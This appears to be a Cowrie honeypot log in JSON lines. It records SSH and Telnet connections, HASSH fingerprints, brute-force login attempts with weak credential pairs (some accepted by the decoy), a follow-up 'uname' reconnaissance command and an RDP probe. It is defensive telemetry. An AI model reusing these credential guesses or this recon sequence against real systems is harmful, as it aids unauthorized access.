{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:03.552917Z","src_ip":"193.32.162.151","session":"926667e71c32","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"1q2w3e4r","message":"login attempt [oracle/1q2w3e4r] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:03.845456Z","src_ip":"193.32.162.151","session":"926667e71c32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:04.090522Z","src_ip":"193.32.162.151","session":"926667e71c32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:04.094552Z","src_ip":"193.32.162.151","session":"926667e71c32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:04.198749Z","src_ip":"193.32.162.151","session":"926667e71c32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:04.206495Z","src_ip":"193.32.162.151","session":"926667e71c32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":16380,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dcc83bea799","protocol":"ssh","message":"New connection: 2.57.121.25:16380 (159.203.135.109:22) [session: 9dcc83bea799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:13.399864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:13.404508Z","src_ip":"2.57.121.25","session":"9dcc83bea799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:13.503792Z","src_ip":"2.57.121.25","session":"9dcc83bea799","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15111978","message":"login attempt [user/15111978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:13.973897Z","src_ip":"2.57.121.25","session":"9dcc83bea799","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15101978","message":"login attempt [user/15101978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:15.077061Z","src_ip":"2.57.121.25","session":"9dcc83bea799","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15091993","message":"login attempt [user/15091993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:16.183502Z","src_ip":"2.57.121.25","session":"9dcc83bea799","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15081977","message":"login attempt [user/15081977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:17.286349Z","src_ip":"2.57.121.25","session":"9dcc83bea799","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15071994","message":"login attempt [user/15071994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:18.390722Z","src_ip":"2.57.121.25","session":"9dcc83bea799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:19.493186Z","src_ip":"2.57.121.25","session":"9dcc83bea799","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":53472,"dst_ip":"159.203.135.109","dst_port":22,"session":"5808a1bd1f60","protocol":"ssh","message":"New connection: 176.65.148.108:53472 (159.203.135.109:22) [session: 5808a1bd1f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:26.499293Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:26.583675Z","src_ip":"176.65.148.108","session":"5808a1bd1f60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":53482,"dst_ip":"159.203.135.109","dst_port":22,"session":"37d3afdb7c19","protocol":"ssh","message":"New connection: 176.65.148.108:53482 (159.203.135.109:22) [session: 37d3afdb7c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:26.663349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:26.668477Z","src_ip":"176.65.148.108","session":"37d3afdb7c19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:26.750692Z","src_ip":"176.65.148.108","session":"37d3afdb7c19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"123456","message":"login attempt [a/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:27.007667Z","src_ip":"176.65.148.108","session":"37d3afdb7c19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:28.092208Z","src_ip":"176.65.148.108","session":"37d3afdb7c19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":41834,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d51853a0803","protocol":"ssh","message":"New connection: 193.37.70.224:41834 (10.17.0.5:22) [session: 6d51853a0803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:15:35.463701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:15:35.469052Z","src_ip":"193.37.70.224","session":"6d51853a0803","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:15:35.585169Z","src_ip":"193.37.70.224","session":"6d51853a0803","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12348765","message":"login attempt [root/12348765] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:15:35.871571Z","src_ip":"193.37.70.224","session":"6d51853a0803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:15:36.968505Z","src_ip":"193.37.70.224","session":"6d51853a0803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":37018,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ad3c740efee","protocol":"ssh","message":"New connection: 193.32.162.151:37018 (159.203.135.109:22) [session: 4ad3c740efee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:16:18.810111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:16:18.864712Z","src_ip":"193.32.162.151","session":"4ad3c740efee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:16:18.949948Z","src_ip":"193.32.162.151","session":"4ad3c740efee","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"q1w2e3r4","message":"login attempt [oracle/q1w2e3r4] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:16:19.342807Z","src_ip":"193.32.162.151","session":"4ad3c740efee","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:16:19.665503Z","src_ip":"193.32.162.151","session":"4ad3c740efee","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:16:19.668911Z","src_ip":"193.32.162.151","session":"4ad3c740efee","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:16:19.776872Z","src_ip":"193.32.162.151","session":"4ad3c740efee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:16:19.783860Z","src_ip":"193.32.162.151","session":"4ad3c740efee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":53432,"dst_ip":"159.203.135.109","dst_port":23,"session":"34aae7d3980d","protocol":"telnet","message":"New connection: 213.108.3.46:53432 (159.203.135.109:23) [session: 34aae7d3980d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:16:32.320384Z"}
{"eventid":"cowrie.session.closed","duration":0.018148183822631836,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:16:32.338420Z","src_ip":"213.108.3.46","session":"34aae7d3980d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":54124,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d24ec40ec08","protocol":"ssh","message":"New connection: 147.45.197.250:54124 (159.203.135.109:22) [session: 7d24ec40ec08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:16:57.999993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:16:58.005225Z","src_ip":"147.45.197.250","session":"7d24ec40ec08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:16:58.095416Z","src_ip":"147.45.197.250","session":"7d24ec40ec08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7777777a","message":"login attempt [root/7777777a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:16:58.363247Z","src_ip":"147.45.197.250","session":"7d24ec40ec08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:16:59.456004Z","src_ip":"147.45.197.250","session":"7d24ec40ec08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":55542,"dst_ip":"10.17.0.5","dst_port":22,"session":"f02d240a7fd3","protocol":"ssh","message":"New connection: 103.15.222.183:55542 (10.17.0.5:22) [session: f02d240a7fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:08.654811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:08.660390Z","src_ip":"103.15.222.183","session":"f02d240a7fd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:08.909978Z","src_ip":"103.15.222.183","session":"f02d240a7fd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vbifyz","message":"login attempt [root/vbifyz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:09.657711Z","src_ip":"103.15.222.183","session":"f02d240a7fd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:10.909872Z","src_ip":"103.15.222.183","session":"f02d240a7fd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":62930,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cf905717da2","protocol":"ssh","message":"New connection: 167.172.81.52:62930 (10.17.0.5:22) [session: 6cf905717da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:16.347561Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:16.424705Z","src_ip":"167.172.81.52","session":"6cf905717da2","protocol":"ssh"}
